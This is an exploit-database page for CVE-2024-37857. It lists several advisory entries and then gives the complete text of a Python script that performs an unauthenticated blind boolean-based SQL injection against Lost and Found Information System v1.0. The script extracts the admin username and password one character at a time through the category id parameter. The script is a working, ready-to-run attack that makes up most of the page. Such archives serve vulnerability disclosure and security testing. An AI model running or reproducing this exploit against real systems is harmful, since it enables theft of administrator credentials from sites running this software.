| Reporter | Title | Published | Views | Family All 9 |
|---|---|---|---|---|
| CVE-2024-37857 | 29 Jul 202422:09 | – | circl | |
| Lost and Found Information System 安全漏洞 | 29 Jul 202400:00 | – | cnnvd | |
| CVE-2024-37857 | 29 Jul 202400:00 | – | cve | |
| CVE-2024-37857 | 29 Jul 202400:00 | – | cvelist | |
| CVE-2024-37857 | 29 Jul 202419:15 | – | nvd | |
| CVE-2024-37857 | 29 Jul 202419:15 | – | osv | |
| PT-2024-27787 · Unknown · Lost/Found Information System | 29 Jul 202400:00 | – | ptsecurity | |
| CVE-2024-37857 | 23 May 202509:07 | – | redhatcve | |
| CVE-2024-37857 | 29 Jul 202400:00 | – | vulnrichment |
`# Exploit Title: Unauthenticated Blind Boolean-Based SQL Injection Exploit - Lost and Found Information System
# Exploit Author: Amit Roy (Rezur / AR0x7)
# Date: June 07, 2024
# Vendor Homepage: https://www.sourcecodester.com/php/16525/lost-and-found-information-system-using-php-and-mysql-db-source-code-free-download.html
# Software Link: https://www.sourcecodester.com/sites/default/files/download/oretnom23/php-lfis.zip
# Tested on: Kali Linux, Apache, Mysql
# Version: v1.0
# Exploit Description:
# Lost and Found Information System v1.0 suffers from an unauthenticated SQL Injection Vulnerability allowing remote attackers to dump the SQL database using a Blind SQL Injection attack.
# CVE : CVE-2024-37857
import requests,string,sys,argparse
r = requests.Session()
proxies = {'http': 'http://127.0.0.1:8080'}
admin_path = "/php-lfis/admin/index.php"
createCategory_path = "/php-lfis/classes/Master.php"
def char_extract(rhost, payload):
params = {"page": "categories/view_category", "id": payload}
response = r.get(rhost+admin_path, params=params)
if "Category ID is not valid" not in response.text:
return True
else:
return False
def sqli(rhost, column):
charset = string.printable
output_length = 200
output = ""
for i in range(output_length):
for char in charset:
# Extracts the credentials of user with id=1, admin by default
payload = "13371337' or char(%s) = (select substring(%s,%s,1) from users where id=1)-- -" % (ord(str(char)),str(column),str(i+1))
sys.stdout.write(f"\r[*] Extracting: {output}\r")
if char_extract(rhost, payload):
output += char
break
elif char == '~' and not char_extract(rhost, payload):
print("[*] Extracting:",output)
return output
def argsetup():
about = 'Unauthenticated Blind Boolean-Based SQL Injection Exploit - Lost and Found Information System (https://www.sourcecodester.com/php/16525/lost-and-found-information-system-using-php-and-mysql-db-source-code-free-download.html)'
parser = argparse.ArgumentParser(description=about)
parser.add_argument('-t', '--target', help='Target ip address or hostname. Example : "http://localhost"', required=True)
args = parser.parse_args()
return args
def main():
args = argsetup()
rhost = args.target
print(sqli(rhost, 'username'),':',sqli(rhost, 'password'))
if __name__ == "__main__":
main()
`
Data
Build on a solid foundation with Vulners data
We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data
Api
Power your application with Vulners API
The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access
App
Assess and manage vulnerabilities with Vulners tools
Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation